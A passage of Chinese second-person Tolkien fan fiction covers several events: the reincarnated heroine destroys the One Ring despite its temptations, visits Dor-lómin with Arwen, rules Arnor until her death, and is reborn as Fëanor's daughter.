但愿事情真如她所说的那样吧,你也不希望因为阿尔温的缘故使得埃尔隆德对你产生什么偏见,虽然按照他这样和煦的性格倒不至于因为这件事情就针对你,毕竟他也不是密林的精灵王。 有了精灵军队的支援索伦也不敢贸然派出自己的手下,因为但凡他还存在一点理智就会明白现在派手下过来就是让他们来白白送死的,不仅无法伤及你,反倒会折损自己本就不多的力量,所以接下来的路途非常顺利,唯一让你觉得麻烦的地方大 概就是那枚你放在口袋里的至尊魔戒又死性不改地开始蛊惑你了。 越是靠近魔多的末日火山,至尊魔戒就能感应到它即将被你丢入末日火山的岩浆里,它的不安非常直观地表现为喋喋不休地在你的脑袋里说个不停。 “你难道不想要别的东西吗?比如说永生?你身为人类终有一天会死去,但如果你留下了我,那你就能达成永生了。” 用永生来诱惑一个人类,那成功的可能性确实很高,但你对永生不感兴趣,你冷笑一声,“然后就和其他人类君主一样成为戒灵成为索伦的仆从吗?”他的算盘打得可真好啊。 “……那你到底想要什么呢?”魔戒感到非常疑惑,如果你什么都不想要的话,那么又是什么支持着你走下去的呢?“你活着的意义又是什么呢?”魔戒接着问道。 他的这个问题让你沉默了好一会,如果你现在唯一想要知道的东西是什么,那大概就是你来到这个世界的意义了吧。 感知到你的沉默,魔戒以为自己找到了突破口,更加激动地说:“你想要知道自己存在的意义是什么吗?” 没成想你干脆利落地回答:“想啊,但是——这个答案你无法给予我。”在你看来他只不过是一枚戒指而已。 魔戒感到恼怒,所以你刚才就是在有意戏耍他吗?他愤怒地想要离开你的口袋,但被你眼疾手快地拦住,这枚原本冰凉的戒指突然之间灼伤你的皮肤,尽管你的掌心被他灼烧出一道印记,但你也丝毫没有要松手的意思。 费力挣扎一阵子的魔戒眼看没有逃跑的可能,就又烦躁地待在你的口袋里,他想不明白,那么你的这个问题又该由谁来回答呢?难不成你真的想要去见伊露维塔吗?可是你区区一个人类,甚至都无法踏上维林诺的土地,你就连维拉都见不到,更何况是伊露维塔了,他觉得你这就是在异想天开。 你又该如何见到伊露维塔呢?所以在他看来你的这个问题终究是无法得到回答的。 魔戒总算是消停了一会,但不代表其他精灵不会来找你聊天,格洛芬德尔看见阿尔温不在你身边,他就上前与你聊起天,他无意之间提到自己之前接到假消息匆匆赶往幽谷,等到了幽谷才发现那是一封署了埃尔隆德名字的伪造信件。 格洛芬德尔说:“也不知道是谁特意那么做。”其实他说得已经足够明显的了,都不能算是暗示,应该说明示才对。 你说:“但无论怎么说,幽谷真的没事那才是值得庆幸的事情。” 格洛芬德尔没想到你会那么说,和显而易见的,在涉及到这个话题时你无意识地偏向了吉尔-加拉德,这让他刚才的那一番话听上去就像是在自取其辱,因此他移开视线,缓缓地说:“但是我怎么没见到他这次陪在你身边?” 别看格洛芬德尔平常性格温和,但真要阴阳怪气起来还真是没有精灵是他的对手,你也在庆幸吉尔-加拉德不在这里,否则他们之间的气氛又会变得剑拔弩张,你如实告诉他:“他现在应该还在密林。” “啊……那看来是密林的主人的招待太热情了所以他一时半会没办法离开是么?” 如果瑟兰迪尔先前的针对也算是热情好客的话,那确实是的。 你心不在焉地应了一声,你总觉得等真的到了末日火山,装在你口袋里的那枚至尊魔戒不会那么轻易地被你丢进末日火山的岩浆里的,他肯定还会垂死挣扎一番,甚至还有可能会与你同归于尽,但是如果交给别人,哪怕是精灵,在接触至尊魔戒的一瞬间都有可能被这股邪恶力量侵蚀心灵,甚至还会受到魔戒的控制,所以无论怎么看都应该由你销毁魔戒。 “刚才魔戒一直在和我说话。”你冷不丁地开口,话题转得有些生硬,但既然是涉及到至尊魔戒的话题,格洛芬德尔的态度也很认真,他说:“它都对你说了什么?” “都是一些没什么新意的话,比如说能够给我无穷无尽的金钱还有权力,以及永生的可能。”但你知道这些东西看似吸引人,但背后早已标好了价格,一旦与魔戒达成交易,那么就必然要付出什么,比如你和阿拉贡的祖先伊希尔杜就为此付出了性命。 “如果他是被精灵找到的,他也会提出这样的交易条件吗?”精灵对金钱的渴望远不及人类,他们比人类先一步来到这个世界,几个纪元的时间过去,他们也逐渐对这样的生活感到厌倦,所以单纯的这种条件是无法打动精灵的,除非是心中对什么有所求的精灵,就比如格洛芬德尔。 虽说格洛芬德尔没有直接接触魔戒,但他在靠近你的同时也与魔戒的距离便近,因此后者也能在无形之中影响他的想法,放大他心中的阴暗面。 如果他拿到魔戒的话,他会利用这份力量扫清自己的障碍,并且不择一切手段地获得你的喜爱,哪怕那很有可能会违背你的意愿。 但他能够完完全全地得到你。 魔戒的声音似有若无地在他耳边萦绕,那道声音在说:“我能够帮助你得到想要的一切,我可以帮你扫除障碍……” 就在这时,你奇怪地侧过头看向格洛芬德尔,因为他刚才表现得实在是太安静了,让你都有些不适应了,接触到你的目光,他这才勉强露出一个笑容,他的脸色变得有些奇怪,最后和你草草聊了几句就直接从你身边离开,你思索片刻,发现口袋里的魔戒又不安分地想要跑出来,你猜刚才格洛芬德尔或许就是受到了魔戒的影响才会神色变得糟糕的。 在临近傍晚时分你们这支队伍总算即将到达魔多的边境,魔多在被攻破后就由靠近南方的纳国斯隆德精灵接受管理,虽然才过了一段时间,但归功于精灵的辛勤改造,这里的景象发生了翻天覆地的变化,如果不是那座熟悉的末日火山依旧矗立在那里,你很难确定这里就是曾经的魔多。 你在进入魔多的境内后没有任何犹豫直接向着末日火山奔去,但越是靠近末日火山,那枚魔戒就竭尽全力地试图从你手里逃跑,它的表面散发出高温,甚至烫得你的手掌心血肉模糊,但你强行忍着痛,一步一步地走向火山口,就在这时魔戒突然没了反应,但这反而变得很诡异,因为从刚才开始就一直在挣扎的魔戒又怎么可能那么轻易地放弃呢? 除非……你站在悬崖边缘,张开手掌,那枚至尊魔戒就那么安静地躺在你的手掌心,这实在是太奇怪了,你盯着手掌心的那一枚魔戒看了许久,就在你手掌朝下即将要把这一枚魔戒投入末日火山的岩浆中的那一刻,你仿佛听见了索伦在对你说话,他说:“你永远也找不到那个问题的答案的。” 诸如此类的打击话语你也不是第一次听了,你的反应很平淡,甚至还能注视着那一枚戒指从空中掉落,最后没入岩浆里,被吞噬殆尽。 格洛芬德尔一直在末日火山口外面等待着你,他生怕中途出现什么意外,毕竟在精灵的印象中索伦总是那样阴险狡诈,没准你也会被他暗算。 他等待 的时间越久,内心的不安就越发严重,直到他眼角的余光捕捉到你缓慢向外面走出的身影,他急匆匆地跑到你面前,“那枚戒指……已经被销毁了吗?” “嗯,已经被销毁了。”你说,“你是在紧张吗?但我们以前不还一起对付过魔苟斯吗?你应该知道索伦和魔苟斯相比没有任何可比性吧。” 他当然知道索伦和魔苟斯之间的差距,但是这并不妨碍他担心你,这种不安是发自内心的,“我知道的……但我还是会有些担心。” 你伸出手拍了拍他的肩膀就当作是在安慰他了,虽然魔戒和你说的大部分话你都没放在心上,但是唯独有一句话却让你有些在意,那就是他斩钉截铁地对你说,你永远也无法见到伊露维塔,因此你的问题永远无法得到解答。 难道你就要一直被困在这个世界里了吗?你的人生就要一直受到这个系统的控制和约束吗? 你垂下眼帘,脸上浮现出几分阴郁的神色。 第99章 第99章“总而言之,我非常感谢…… 按理来说在索伦消灭以后你就没有什么需要担心的了,唯一可能让你有些担心的大概就是北方阿尔诺的重建工作了,但既然有阿拉贡在你也还算放心,毕竟你留下了具体的重建计划,他只要按着计划来就行了。 最棘手的问题解决了,你显得有些空落落的,你在改造过的魔多停留了几天,并且还有幸见到了名为巫师实则是被维拉派来中土帮助中土人民驱逐黑暗获得光明的迈雅甘道夫,这位巫师在见到你的第一面就为你带来了维拉的消息。 “维拉们非常感谢您对中土做出贡献。”甘道夫说,他的外表是白发苍苍的老人,但从他明亮的眼神可以看出他的灵魂生机盎然。 “他们只是口头上表示感谢吗?”那就有些太敷衍了吧?无论怎么说你也确实为中土带来了和平,难道你的所作所为都换不来他们维拉货真价实的谢礼吗?又或者是因为他们知道你想要的东西就连他们也无法给予你么? “当然不,您将会有机会登上维林诺的土地。” 甘道夫说的这句话很微妙,因为他没有说得很绝对,只是告诉你有机会,而且也不告诉你究竟是何时才能去往维林诺,非常狡猾,非常避重就轻,你对待甘道夫的态度也变得冷淡,“仅仅只是这样吗?他们只是让你转达这几句话吗?” 可真是没头没尾的话语,甚至比你在上一个副本询问乌欧牟得到的回答还要没头没尾。 “是的。”甘道夫在真正见到你之前就曾经听维拉说起过你,他们说起你的时候用“异世界的来客”来指代你,他们对你其实也不怎么了解,只知道你的性格难以掌控。 维拉在你诞生之初就在大乐章上看到了你的命运轨迹,你本该成为一位贤德的王后,并且为自己的丈夫以及国家孕育下一代继承人,但是在某个时间节点,就连维拉都不知道到底发生了什么,总之爱努大乐章上关于你的命运轨迹发生了变化,并非细微的,可以容忍的变化,而是翻天覆地的变化。 这不免让维拉感到惊讶的同时也隐隐产生不安,你就像是一个不定因素,只要你存在一天,那么维拉就会担忧一天,维拉之首的曼威曾经尝试着和造物主伊露维塔对话,但是对方没有回应维拉的问题,所以甘道夫被安排前往中土除了维护这片大陆的和平,还带着另外一个重要的任务,那就是试探你的想法,毕竟如果你如果真的试图毁灭中土来之不易的和平,对你来说那是轻而易举的事情。 而甘道夫看到你的第一眼就被你那气势震慑之下愣了几秒,而他也可以肯定你看出了他的真实身份,你表现得很游刃有余,先是询问他的来意,让气氛看起来缓和轻松一些,等时机差不多的时候你就开口问道:“你不像是普通的巫师,我没见过你这样的巫师,你不仅是巫师更像是一位智者。” 甘道夫没有反驳和辩解,而是顺着你的意思往下说,他说:“您真是洞察力过人。” 你对于甘道夫的恭维满不在乎,你在乎的是他来这里的目的是什么,总不可能真的只是来凑热闹的吧? “不应该说我洞察力过人,应该说你本身就气度非凡,而且还有你手上那枚戒指,如果我没看错的话,那应该是精灵三戒里的火之戒吧?能够拥有这等戒指的又怎么可能是寻常人呢?”只不过在你销毁至尊魔戒以后精灵三戒的力量也在逐渐衰落,作为其中一位戒指佩戴者的甘道夫很清楚地感知到力量衰弱的过程。 言归正传,甘道夫虽然带来了维拉的消息,但是对你来说聊胜于无,因此你对甘道夫的态度也一落千丈,从充满尊敬变得兴致缺缺,甘道夫又听见你说:“那么我这一次的死亡是永恒的吗?” 关于这个问题甘道夫也不能确定,他实事求是地说:“我也不能确定,这个问题只有——” “我知道的,这个问题只有伊露维塔才知道。”说着,你耸了耸肩,但不管怎么说,甘道夫的出现还是给你带来一丝一毫的希望的,你调整好自己的心情,又为刚才迁怒甘道夫道歉,“抱歉,刚才我对您的态度不太好。”你甚至再度使用了敬称。 甘道夫倒是不会把这种小事放在心上,他说:“没关系,是我不打一声招呼就来见您,估计是打搅了您。” 确实有些打搅,因为你正想着离开魔多去多尔罗明看看呢,如果按照你原先的计划的你应该从多尔罗明的士兵混起,但你的计划赶不上变化,或者应该说是赶不上吉尔-加拉德写信的速度,他没有直接点明你就是以前的伊玟陛下的转世,毕竟这个说法也不是所有人都能接受的,他只是语焉不详地提到你的身世与伊玟的渊源,毕竟写信的是吉尔-加拉德,哪怕他说得没有那么清楚,但仅凭那一封信就足以让你成为多尔罗明的座上宾。 你能够理解吉尔-加拉德的出发点是好的,但他这样一来就在不经意间扰乱了你的计划,而且还没等你去到多尔罗明,对方的外交大使就写了信过来,并且让使者亲自送到你手上,信的内容也很简单,无非就是欢迎你莅临多尔罗明考察,你也不知道是否应该感谢吉尔-加拉德,但这下子你的计划基本上只能搁浅了。 而不明所以的阿尔温无意间看到你手中的信件,就说:“您要去多尔罗明?” “啊……是的,我有这个打算。” 阿尔温还没去过人类的国家,你从她的微表情还有眼神里看出她也想去多尔罗明瞧瞧,反正你的行踪都已经暴露了,那倒也不必再隐藏什么,你就主动邀请阿尔温与你一道去往多尔罗明,后者欣然答应,一看她要跟你走,她的那两个双生子哥哥可就跳起来了,当即表示他们得了父亲埃尔隆德的命令得要好好保护妹妹才行,虽说他们对你也很放心,但这不代表他们就能把埃尔隆德嘱托的任务抛之脑后。 “如果你们要去的话,那我们也跟着一块去。”埃尔拉丹先一步提出这个建议,他觉得这是最完美的解决方法了,但还没等你回答,你身边的阿尔温就叹了一口气,“你们不能总是把我当做需要保护的一方,尽管我能够理解你们的良苦用心,但是……我想现在应该没什么危险了,至于父亲交付给你们的任务,请放心吧,我会写信向父亲说明的。” 埃尔拉丹一看阿尔温叹气了,他就先拍拍埃洛希尔的肩膀示意他保持安静免得又说出什么不中听的话出来,阿尔温又说:“你们之前不是想要送我一份礼物吗?我觉得这趟不被打扰的旅程就是很好的礼物。” 从某种角度来看,你和阿尔温的想法不谋而合了。 眼看阿尔温语气坚定,埃尔拉丹也没再强求,免得惹她不高兴,但他还是追问个不停,比如说你们什么时候离开,去多尔罗明停留几天,又或者是你们到了多尔罗明以后会写信过来吗?最后他甚至还提到了远在北方阿尔诺的阿拉贡,他说:“阿拉贡要是知道这个消息,肯定会和我们的反应差不多的。” 那他们可就猜错了,阿拉贡不会像他们那样絮絮叨叨地说一大堆,他顶多就是问你什么时候回来,不过被他这么一说,你就想起自己好像许久没有给阿拉贡写信了,这也不能怪你,你这些天都在为了索伦的事情到处奔波,每天两眼一睁不是寻找至尊魔戒就是琢磨如何销毁魔戒,哪里还会有闲工夫给他写信。 等你什么时候有空了再给他写信吧,你在心里这么想,但等真的踏上旅程的时候你就忘了这回事,这可以说是阿尔温第一次没有其他精灵的陪同去那么遥远的地方,因此她在路上表现得很好奇,这给你一种她太久没有接触外界世界的即视感,就像是很久以前的露西恩公主。 你对待阿尔温非常有耐心,一方面是因为你在她身上看到了露西恩公主的影子,另外一方面也是因为哪怕你们成为了朋友她也仍旧保持着相处的礼仪,不会因为关系亲近而理所当然地替你做决定。 白天你们并不着急赶路,有时候还会松开缰绳让那两匹马在田野间恣意奔跑,反正也不用担心它们会跑丢,这些马匹都很通人性,感觉时间差不多了就会主动回到你们身边,而在这个空档里你就和阿尔温优哉游哉地漫步在草原上,偶尔微风拂过,吹动你们脚下的牧草,发出柔和的簌簌声响。 阿尔温说:“多尔罗明是个怎样的国家呢?”她只知道这个国家很繁荣昌盛,但具体如何,她也不太清楚。 “是个很特别的国家。”这一点从你担任国王,在你死后每一任统帅都是女性就能看得出来,不仅如此,就连你在任期间设置的议会绝大部分议员也是女性, 说实话,能够一直保持千百年,这确实超乎你的想象。 既然谈论起多尔罗明,那自然是不会错过伊玟陛下这个话题的,现在的你已经能够接受和其他精灵云淡风轻地谈论上一个副本的自己了,远处的那两匹马奔跑了一圈后停下来,低头咀嚼新鲜的牧草,偶尔还会抬起头看向你和阿尔温。 你找了一块平地坐下,阿尔温你也在你身边落座,她说:“我在想那个时候的她也会感觉到迷茫吗?” “谁?” “伊玟陛下,她主动逃婚,并且还冒险深入魔苟斯的巢穴,她难道就不会有感觉迷茫的时刻吗?”阿尔温在很认真地问这个问题,因为在此之前无论是人类还是精灵每当谈论起你的时候他们都在千篇一律地赞扬你的勇敢和胆识,以及那超脱时代的精神,阿尔温并不否认这些美好品质,只是听得多了,这就使得你变成一个符号化的角色,但在她看来历史上的你应该是一个鲜活的人类,而不是勇气的代名词。 “也许有过,但那样的时刻不多,她从始至终都很清楚自己在做什么,自己想要什么,以及她在争取什么。”说到这里你停顿了一下。 阿尔温正注视着你的侧影,“听上去你好像很了解她。” 你垂下眼帘,毕竟伊玟就是你,你能够不了解吗,你又说:“这些也只是我的推测。” “但我觉得你说得很对,和我想象中的她差不多。”阿尔温也曾想象过历史上的伊玟会是怎样的人,你刚才寥寥几句话就勾勒出她鲜活的性格和形象,使得她不再是历史书里的一个苍白的符号。 你躺在草地上,双手交叠枕在脑后,和阿尔温待在一块的时候你的内心无比平静祥和,阿尔温也学着你的样子躺在草坪上,傍晚的微风吹拂你们的面颊,触感轻柔,你闭上眼睛,等你再次睁开眼睛的时候天边的最后一缕夕阳早已消失,阿尔温坐了起来,草稿纸抵着膝盖,炭笔在上面涂涂画画,见你醒来了她便说:“你醒了?” “那是什么?”你指了指她手里的草稿纸,从你的视角看过去上面盘踞着一堆线条,等你也坐起来,这样看过去才发现那是一副速写,先前说到过精灵由于寿命漫长,所以都会发展一些爱好,有的喜欢诗歌,有的喜欢游猎,有的则是喜欢绘画,你想阿尔温应该就是属于最后者。 “刚刚你睡着了,然后我想到自己手边恰好有纸和笔,所以——一切都刚刚好。”阿尔温一边解释一边大大方方地把那张肖像画递给你看,她确实很有绘画的天赋,寥寥几笔就勾勒出你熟睡的侧影,神态抓得恰到好处,再多一笔都会觉得多余。 “谢谢。”你笑着道谢,阿尔温谦虚道:“这算不上太精细的作品。” “不……但这对我来说就是很好的礼物了。”你收下这幅肖像画。 没有黑暗笼罩的中土夜晚星辰都格外璀璨,那两匹马休息得差不多了就又折返回来寻找你和阿尔温,它们显然是刚刚从蹚过小溪,因为它们的四足还有尾巴末梢都沾着水珠,身上也带着一股若有若无的水汽。 你们没有那么着急赶路,牵着缰绳慢悠悠地行走在月光下,按照你们这个行进速度,等你们到达多尔罗明的时候已经是大半个月以后的事情了,其实你们的速度也不算太慢,因为如果真的放缓步调的话,一两个月以后到达多尔罗明都不奇怪。 到达多尔罗明的那一天艳阳高照,甚至气温还有些炎热,你的额头上出了一层细密的薄汗,负责接待你们的大使早就从精灵那里得知你们即将到来的消息,因此早有准备,一见到你们的身影就让专门的护卫小队为你们开路。 透过护卫小队的银色头盔,阿尔温看见这支小队伍的成员似乎都是女性,虽说她也不是没见过女精灵成为战士,但这终究是少数,可这种少数情况放在多尔罗明内就变成了常态,先是护卫小队,然后又是外交大使,甚至于就连统帅的贴身护卫队也是女性。 沿着大路径直前往多尔罗明的都城,还没等你们进入宫殿内,阿尔温的目光就被宫殿前广场正中央的雕像所吸引,那是第一任女性君主伊玟手持宝剑指向北方代表她打败黑暗君主魔苟斯的决心,雕像的神色严肃庄重,她的嘴唇微微张开,似乎在号召着身后的士兵与她一同奋勇向前。 阿尔温长久地注视着这座雕像,过了一会你才听见她小声地说:“我想这雕像会给任何一位来客都留下深刻印象的吧?” 但你只是瞥了一眼就没再看那雕像,毕竟那只是曾经的你,对你来说仅仅是一段过往而已。 等你们来到宫殿大门口,你原以为负责接待你们的会是外交大使,但是没想到统帅会亲自前来接待你们,她的穿着打扮很干练,就和她给你的感觉一样,当她那双棕褐色眼瞳看向你的时候她停顿了一下,而后才对你说:“我代表多尔罗明欢迎您二位的到来。” 虽然她在说这话的时候目光是看向阿尔温的,但你还是能够感觉到她的视线似有若无地停留在你身上,后面的事实也证明这不是你的错觉,她确实在暗中观察你,但她的视线即便带着探查的意味,却不会让你感觉到不悦和冒犯。 多尔罗明现任统帅名为莉莉丝,她在介绍自己的名字时笑着补充一句,“‘叛逆的莉莉丝’,以前我家乡的邻居都爱这么称呼我。”因为她自小就表露出与常人不同的性格,那就是在父母嘴里太咄咄逼人的性格,但她认为应该换一种说法,比如说“争强好胜的性格”。 “家乡的邻里亲戚都觉得我的叛逆是一时的,等到了年纪,差不多十五六岁,再迟,也是到十八岁的时候就该认清现实找一户好人家嫁了,但现在呢——”莉莉丝一边说着,一边带领你们参观宫殿,这座宫殿和你记忆中的没什么变化,唯一的变化应该是安装了更加先进的供暖设备。 莉莉丝比你们想象中的还要健谈,但她谈论起自己的事情不会太过投入,因为她说这些并非出于炫耀亦或是别的虚荣目的,她只是在简单地介绍自己的过往而已,让你们在短时间内了解她,也能够让她在谈话间拉近与你们的距离。 “归根结底,我还是很感谢第一位女性君主,也是我最喜爱的一位君主。”莉莉丝以这句话作为收尾,此时此刻你们也来到偌大的会客厅,莉莉丝又询问你们路上的旅程如何,她给你们倒了两杯茶,“我听说索伦的至尊魔戒总算是被销毁了,从今往后也不会再有黑暗笼罩着中土大陆了。” 话音落下,她把两杯茶水递给你和阿尔温,你从她手中接过茶杯时她对你笑了一下,那笑容很热情,你端着茶杯看向别处,莉莉丝又说:“噢对了,差点忘记带您二位参观中心博物馆了。” 就是那个存放着阿瑞蒂尔为你打造的盔甲的中心博物馆吗?被她这么一提你就突然想起前不久吉尔-加拉德和你说起过的那个博物馆。 阿尔温表现出浓厚的好奇心,莉莉丝耐心地介绍道:“在这个博物馆里存放着超过三千件展品,其中最珍贵的莫过于曾经的伊玟陛下的佩剑还有盔甲。” 这就是重生的好处,以前你用得最顺手的宝剑还有最适合的盔甲全都被存放在博物馆里了,现在的你只能通过玻璃欣赏这些展品。 你站在展柜前,干净明亮的玻璃柜倒映出你的侧影,你看向那把佩剑,还有那件经历了几千年仍旧泛着光泽的盔甲,你不由地伸出手触碰那面玻璃,莉莉丝的声音在你耳边响起,“根据历史记载,她当初就是穿着这身盔甲上战场杀敌的。” 这历史记载还算靠谱,总比你和吉尔-加拉德的情史靠谱,不会掺杂太多文学加工,有就是有,没有就是没有,因此你什么都没说,但莉莉丝好像有很多话想要对你说,这让你开始好奇吉尔-加拉德写给多尔罗明的那封信里到底写了什么,以至于让当今的统帅对你的态度如此微妙。 “其实我以前并不喜欢读书,但是在机缘巧合之下,无意之间翻到了关于伊玟陛下的故事,从那个时候开始,我就意识到了阅读的重要性。”毫不夸张地说,她捧着那本故事书看了很多遍,书页都被她翻得起了毛边,她甚至能复述出故事书上的每一段话,每一个字,可以说是倒背如流。 嗯……你没想到自己还会有劝学的作用呢。 莉莉丝深吸一口气,“总而言之,我非常感谢她的存在。” 第100章 第100章你和你的七个费诺里安…… 莉莉丝大部分时间都在为你们介绍多尔罗明的发展历程,一圈博物馆参观下来,你听她从第一纪元讲到第三纪元,她讲故事一点也不枯燥,甚至还很有趣,一看就是有好好了解过历史的各个细节,尤其是第一纪元的历史,毫不夸张地说,她对第一纪元的了解比你还全面。 阿尔温还在轻声询问莉莉丝第一纪元的事情,对于她的问题莉莉丝都耐心回答,甚至于还会特意将她带到相对应的展品面前仔细地讲解,你没有跟上她们的脚步,你停留在原地,看向莉莉丝和阿尔温的身影,莉莉丝的眼神明亮,态度不卑不亢,阿尔温会对这位统帅有欣赏之情也是毫无疑问的。 午后,阿尔温在多尔罗明的藏书室里参观,你站在藏书室的窗边眺望远方,不知何时莉莉丝安静地站在你身边,她说:“您对现在的多尔罗明感觉如何?” 她这是让你来评价现在的多尔罗明吗?你说:“我想这个国家好不好应该由国民自己来评价。” “当然,但我也想知道您的答案。”莉莉丝看向你的眼神里带着几分隐秘的期待,她在等待着你的答案,你说:“你是一个出色的统帅,在你之前的每一任都很尽职尽责。” “自由诞生于宝剑之下,责任由宝剑来履行。”莉莉丝说,她的眼瞳亮晶晶的,这样的眼神你在上一个副本莉迪亚眼里也曾见到过,这眼神令你难忘,莉莉丝的唇角上扬,“这是伊玟陛下曾经说过的话,我很喜欢这句话,并将其作为座右铭。” 如果说你一开始还在思考是否要继续管理多尔罗明,但现在看到多尔罗明的一切,看到统帅莉莉丝尽责的一面,还有你当初制定的体制还在有条不紊到运行下去,你忽然意识到你的目的已经达到了你从未设想过的程度,你原以为自己的制度不出几代就会被推翻,男人会再次坐上王位,但事实并没有如此,甚至一切还朝着更好的方向发展。 “她如果能够听见这句话应该会很高兴的。” “当然,自她之后女性才能走出家庭进入学校,进入权力机关,真正成为社会的一份子,而不是谁的妻子谁的母亲,这一切的一切她都功不可没。”说着说着,莉莉丝明亮的眼瞳里闪烁着泪光,那不是悲伤的眼泪,而是激动的眼泪。 好吧,你猜测吉尔-加拉德肯定向这位统帅透露了一部分你的真实身份,否则她也不会在你面前那么失态,你伸出手擦去她的眼泪,“日后也会有其他孩子,长大以后对他人讲述自己的故事,也会提到那位名为莉莉丝的统帅,提到她是如何鼓舞自己向前的。” 莉莉丝挤出一个笑容,她点了点头,“我会尽我所能为国家效力的。” 从另外一排书架走过来的阿尔温看见莉莉丝落泪的样子她不解地问道:“怎么了?您怎么哭了?” “没什么,我只是太高兴了,能够接待您二位。”莉莉丝眨了一下眼睛,眼里的泪光逐渐淡去。 入夜后莉莉丝还有会议要出席,所以你和阿尔温漫无目的地在多尔罗明的王城里散步,虽然时间不早了,但是王城还是一片热闹的景象灯火通明,这是非常繁荣的夜市,各式各样的商铺点着灯火。 干净整洁的街道上随处可见晚餐后外出散步的行人,不光是人类,还有不少精灵甚至还能捕捉到矮人的身影,国家繁荣同时也体现在多种族的融合,虽说精灵和矮人的关系不算太好,但在多尔罗明的这两个种族都能和平相处。 常年居住在精灵领地内的阿尔温还没见过这样的画面,她说:“矮人和精灵待在一块真的不会发生打架斗殴吗?” 旁边路过的精灵,看那装扮应该是木精灵,她说:“放心吧,至少在多尔罗明境内我们还是会和矮人和平相处的。”言下之意就是不会在这里和矮人产生纠纷。 阿尔温对着那个木精灵点了点头,你们走得有些累了就在街边的饮品店坐下,先前说过这里的精灵很多,这家店就是精灵开的,里面的顾客一半是精灵,一半是人类,至于为什么没有矮人,可能是矮人和精灵对酒精的偏好不同,前者更偏爱麦芽啤酒。 店内真是热闹极了,你和阿尔温在店内站了一会才等到一桌精灵起身离开,你们这才落座,坐下后服务员就精准地找到你们的桌边,询问你们要喝点什么,你说:“一杯石榴汁。” 阿尔温则是要了一杯经典葡萄酒,不多时,你们点的饮品就被端了上来,石榴汁上面还用花瓣作为点缀,阿尔温的葡萄酒装得很满,她先是抿了一口,“这味道和幽谷的差不多。” 说起幽谷,阿尔温就想起来自己应该给远在幽谷的父亲还有那对哥哥写一封信的,告诉他们她和你已经顺利抵达多尔罗明,但是因为后来和你聊天聊得太愉快,以至于在入睡前她才又记起这件事,于是借着床头灯的光芒找出一张信纸,在上面写下她这些天的所见所闻,她原意只是想简单地描述一些过程,但是写着写着,她就写得愈发详细,如果不是睡意来袭,她想她肯定可以将每一个细节都写下来的。 写到后半段,阿尔温缓慢地眨了一下眼睛,将信纸放在床头,羽毛笔压在上面,她熄灭床头灯,躺在床上进入梦乡。 你和阿尔温在多尔罗明的日子十分悠闲,因为这样的生活太过惬意,以至于你在这里停留的时间比你当初和阿拉贡说的还要久,因此你后来还收到了阿拉贡的信件,他的字里行间虽然没有要催促你的意思,但是根据你对他的了解,他肯定希望你能够早些回到阿尔诺。 他的那封信件你没有马上回复,而是等过了一段时间才找出信纸回复他的信件,说是自己过两天就回去。 虽然你在信件里说的是过几天就回去,但实际上你又拖了一段时间才离开多尔罗明,等你再次回到阿尔诺的时候这个曾经被半兽人军队占领的王国也逐渐呈现出它辉煌时的模样,因为有阿拉贡尽职尽责地监督战后重建工作的进度,因此这重建速度比你预期的还要快许多。 终于见到你回来,阿拉贡一上来就开始向你汇报这阵子的工作情况,甚至都不用你提醒一句,你一边朝着宫殿内走去一 边认真地听他说这些情况,说到后面你在休息室的长椅上坐下,“这段时间你辛苦了。” 阿拉贡倒不觉得辛苦,只是他越发觉得你才是适合成为阿尔诺君主的那一位继承人,他说:“无论是我还是整个阿尔诺都需要你的引领。” 你单手托腮,既然他都这么说了,你似乎也没有拒绝的余地,而且阿尔诺王国确实需要你的帮助。 现在黑暗势力被悉数铲除,中土大陆归于平静安宁,这样的环境非常适合战后休养生息,你在战争后的初期就贯彻类似的政策,再加上精灵以及多尔罗明的帮助,阿尔诺王国以肉眼可见的速度走向繁荣昌盛。 再一次成为君主你对此适应良好,毕竟你在上一个副本里就治理了多尔罗明将近五十年,所以治理阿尔诺对你来说也很得心应手,唯一让你觉得有些麻烦的大概就是经常来拜访的那两个精灵领主了吧,不过好在他们在你面前也有所收敛,而且他们也都明白你的重心都在治理国家上面,因此他们的相处还算和谐。 时间就在日复一日的公务中流逝,你偶尔还能见到来访的甘道夫,后者每次来都会带来一些关于维拉的消息,但你觉得他来这里的主要目的不是为了告诉你那些无关紧要的小事情,而是为了查看你是否还处在正义的一方。 甘道夫这种回访行为持续了几十年,你最后一次见到他的时候你已经变得和他的外表一样白发苍苍的,你说:“时间过得可真快啊,我又将再一次迎来死亡。”你面对死亡的态度十分坦然自若,这在人类中也是非常少见的。 “死亡并不是终点。”甘道夫那么对你说,你靠着椅背,气定神闲地说:“那么什么才是终点呢?又或者说,那些维拉向你透露了什么呢?”你很敏锐地察觉到了他的的弦外之音。 “你的命运不会到此为止的。”甘道夫留下这一句云里雾里的话语,旋即又从阿尔诺王国离开。 你想,也许这一次死亡之后你会到达第四或者第五纪元,那个时候的世界还会存在精灵吗?大概是没有了吧,因为在这之后的纪元都是人类纪元了。 这次的死亡比你想象中的还要更加轻盈,因为你是努曼诺尔人的后代,所以归功于曾经的努曼诺尔人为抗击黑暗势力做出的贡献,维拉赐福于努曼诺尔人,使得他们能够选择自己的死亡,也即在平静安宁中走向死亡,并且不会感受到任何疼痛。 死亡真是太安静了,安静得你几乎都感知不到自己的意识,也不知道你等待了多久,或许是几分钟,几天,几年又或者是几个纪元,当你久违地感受到阳光,呼吸到空气,你就完成了从死亡到新生的转变。 面对再一次重生,你表现得无比平静,你不像寻常的新生儿一样哭闹出声,这使得你的母亲格外着急,连带着你的父亲也抱起你查看你的情况,而你也得以看清现在的情况,你瞥见父亲尖尖的精灵耳,而且他和妻子交谈使用的也是精灵语,但和你以前学过的精灵语不太一样,更加复杂,但语调更加优美动听,你突然意识到自己这次的父母是两位精灵,而且你的父亲还是在精灵历史上都留下浓墨重彩一笔的费艾诺。 “她为什么不哭呢?”奈丹尼尔着急地询问丈夫费艾诺,后者用手掌轻轻地拍着你的后背,眼看你的母亲那么着急,你就配合地咳嗽两声,然后象征性地哭了起来,费艾诺看向你的眼睛里满是笑意,他对妻子说:“看,她哭了。” 那还不是因为如果你再不发出点声音这对夫妻都得要急坏了,你一时半会还是不太能适应自己再次重生变成了精灵,而且还回到了第一纪元以前,这真是出乎你的意料,原来甘道夫所说的“你的命运不会到此为止”指的就是这个意思吗?那确实是你无法想象的。 据你所知费艾诺有足足七个儿子,你正在好奇自己排行第几,这时候两个长相相仿而且年纪不大的红发精灵从外面闯了进来,咋咋呼呼地问道:“是妹妹吗!还是弟弟呢?” 